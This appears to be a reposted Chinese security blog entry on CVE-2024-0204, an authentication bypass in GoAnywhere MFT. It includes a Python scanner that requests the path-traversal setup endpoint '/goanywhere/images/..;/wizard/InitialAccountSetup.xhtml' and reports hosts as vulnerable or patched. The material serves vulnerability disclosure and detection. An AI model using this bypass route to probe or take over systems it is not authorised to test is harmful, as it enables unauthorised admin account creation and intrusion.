该漏洞存在于GoAnywhere MFT 中,是一个身份认证绕过漏洞。未经身份验证的远程攻击者可利用该漏洞,绕过身份认证,通过管理门户创建管理员用户。
GoAnywhere MFT是一个安全的文件传输软件解决方案,它简化了系统、员工、客户和贸易伙伴之间的数据交换。旨在通过其集中控制和广泛的安全设置,为组织提供一个高效、安全的文件传输环境。
poc&exp
import
requests
import
urllib3
import
sys
import
csv
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
print(
"�33[94m==================================="
)
print(
" CVE-2024-0204 GoAnywhere Vulnerability Scanner"
)
print(
" by Christiaan Beek @ Rapid7 Labs "
)
print(
"===================================�33[0m"
)
ENDPOINT =
"/goanywhere/images/..;/wizard/InitialAccountSetup.xhtml"
def
check_vulnerability
(ip)
:
url =
f"https://
{ip}
{ENDPOINT}
"
try
:
response = requests.get(url, verify=
False
, timeout=
3
)
if
response.status_code ==
200
:
return
"GoAnywhere vulnerable"
elif
response.status_code ==
401
:
return
"GoAnywhere patched"
else
:
return
"Unknown status"
except
Exception
as
e:
return
"Connection error"
def
main
(ip_address)
:
status = check_vulnerability(ip_address)
print(ip_address, status)
with
open(
'output.csv'
,
'w'
, newline=
''
)
as
csv_file:
writer = csv.writer(csv_file)
writer.writerow([
"IP Address"
,
"Status"
])
writer.writerow([ip_address, status])
if
__name__ ==
"__main__"
:
if
len(sys.argv) !=
2
:
print(
"Usage: python script.py <IP_ADDRESS>"
)
sys.exit(
1
)
ip_address = sys.argv[
1
]
main(ip_address)
原文始发于微信公众号(漏洞猎人):CVE-2024-0204 | 身份认证绕过漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论